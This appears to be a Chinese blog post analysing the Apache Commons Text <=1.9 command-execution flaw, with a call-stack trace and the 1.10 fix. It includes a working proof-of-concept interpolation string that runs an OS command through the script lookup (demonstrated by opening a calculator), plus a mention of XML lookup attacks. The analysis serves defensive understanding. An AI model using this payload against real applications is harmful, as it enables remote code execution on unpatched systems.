Apache commons text <= 1.9 命令执行漏洞
前言:Apache commons text <= 1.9 命令执行漏洞分析笔记
什么是Apache commons text
Apache commons text 是一个专注于处理字符串的算法的依赖库
漏洞引入
作者在近期更新了相关的Apache commons text 1.10版本
官方commit地址:https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.9</version> </dependency>
可以看到里面的示例很多,这里随便拿一条作者的测试用例来进行学习测试,如下所示,可以看到成功通过script脚本来进行运算得出结果
public class TestMain { public static void main(String[] args) { String replace = StringSubstitutor.createInterpolator().replace("3 + 4 = ${script:javascript:3 + 4}"); System.out.println( replace ); } }
那么这里的话就会想到通过ScriptEngine来进行命令执行的操作
public class TestMain { public static void main(String[] args) { StringSubstitutor interpolator = StringSubstitutor.createInterpolator(); interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open -a calculator.app\")}"); } }
可以发现成功执行计算机,如下图所示
漏洞分析
该漏洞的本质就是在 动态解析${}
格式字符串的时候,没有限制相关敏感的组件,比如如果能调用script的话,那么就能通过script来进行命令执行
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
初始化的时候,其中的return new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup());
的interpolatorStringLookup方法中的存在script相关的敏感映射关系
StringLookupFactory.INSTANCE.interpolatorStringLookup()
生成的StringLookup对象会被作为字符串解析的时候使用,如果碰到了${}
就会进行使用配合解析,这个对象作为StringSubstitutor中的variableResolver成员
variableResolver其中就存在对应的script对象
StringSubstitutor在对字符串进行操作解析的过程获取script对象会在如下的地方进行触发
最后走入到org.apache.commons.text.lookup.ScriptStringLookup#lookup从而进行解析相关的script的代码从而导致命令执行
lookup:82, ScriptStringLookup (org.apache.commons.text.lookup) lookup:135, InterpolatorStringLookup (org.apache.commons.text.lookup) resolveVariable:1067, StringSubstitutor (org.apache.commons.text) substitute:1433, StringSubstitutor (org.apache.commons.text) substitute:1308, StringSubstitutor (org.apache.commons.text) replace:816, StringSubstitutor (org.apache.commons.text) main:13, TestMain (com.zpchcbd.text)
漏洞修复
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.10.0</version> </dependency>
再次进行调试的时候,相关的script已经无法看到了
若要用到script等,则需要自行设置System.setProperty
System.setProperty("org.apache.commons.text.lookup.StringLookupFactory.defaultStringLookups","SCRIPT");
攻击面扩展
虽然这边的ScriptStringLookup等无法进行使用了,但是还是可以通过XmlStringLookup来进行xml攻击,该方法来自漏洞百出,这里进行记录
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY